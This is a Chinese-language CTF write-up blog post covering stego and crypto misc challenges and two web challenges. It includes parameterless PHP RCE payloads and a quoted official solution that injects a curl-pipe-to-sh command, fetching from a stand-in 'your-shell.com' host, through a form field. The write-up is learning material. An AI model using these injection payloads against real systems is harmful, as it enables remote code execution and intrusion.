差几名就能拿奖了,还是太菜了
Misc
签到
照着图片弹钢琴就会出现flag
tiger
一个rot47加密,一个lsb隐写加密
之后得到解压密码71zr9H6jnXRHn64WBxMbCzz16saCZWiw
发现好像需要明文攻击来解密码Nh6i@=
二维码存在零宽隐写,这里话有个坑点,直接扫好像是提不出来的,可以写个脚本来提
或者我看wp可以用bcTester来题(GET新点)之后用网站解码就可以
https://yuanfux.github.io/zero-width-web/
接着就是维吉尼亚密码解密
https://www.guballa.de/vigenere-solver
解码得到flag
Capture Radiate Chart
用010打开时就发现异常,有好多IDAT 块,一开始以为是每块有个base64啥的去解密,看完wp发现需要提出来每个块的crc32的最后一位,补上文件头和尾来构成一个压缩包
贴一个脚本
f = open('alien.png', 'rb')
n = 0
s = f.read(1)
ImageHex = ''
while s:
byte = ord(s)
n = n+1
s = f.read(1)
ImageHex += '%02x' % (byte)
print('\n\ntotal bytes: %d' % n)
f.close()
CRCHex = ImageHex .split('49444154')
Result = ''
for i in range(len(CRCHex)):
Result += CRCHex[i][-10:-8]
print(CRCHex[1][-10:-8])
with open('output.txt', 'w') as f:
f.write(Result)
Web
Mercy-code
无参rce+条件竞争
直接无参rce会发现过滤了太多函数不可行,必须想另一种方法
解到可以用uniqid加上strrev函数随机取值然后爆破出我们想要的字符
echo(implode(scandir(chr(strrev(uniqid())))));
爆破当前目录
会发现疑似flag文件,提示我们flag在当前目录下面
读取的两种方法
show_source(end(scandir(chr(strrev(uniqid())))));
var_dump(show_source(pos(array_reverse(scandir(chr(ord(hebrev(crypt(time())))))))));
当前目录下访问还是挺简单的,有的题目flag在上级目录,可以看看下面如何构造
https://xz.aliyun.com/t/6737?page=34
picture convert
python写的文件上传,测试了一下,似乎思路就是用session的值来进行命令执行,但在比赛中有点没太看明白利用的具体流程卡在了最后一步。
看完官方题解发现可以控制type值来操控session
贴一个官网解
----WebKitFormBoundary4aWxnEciPGAAwu2N
Content-Disposition: form-data; name="type";
Content-Type: image/png
'|| curl https://your-shell.com/ip:port |sh || '
------WebKitFormBoundary4aWxnEciPGAAwu2N
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png
------WebKitFormBoundary4aWxnEciPGAAwu2N--
开始以为挺难的,其实一看不是这么难,还是太菜了
还是需要学习啊,从wp中学到不少新东西,准备下周学习一下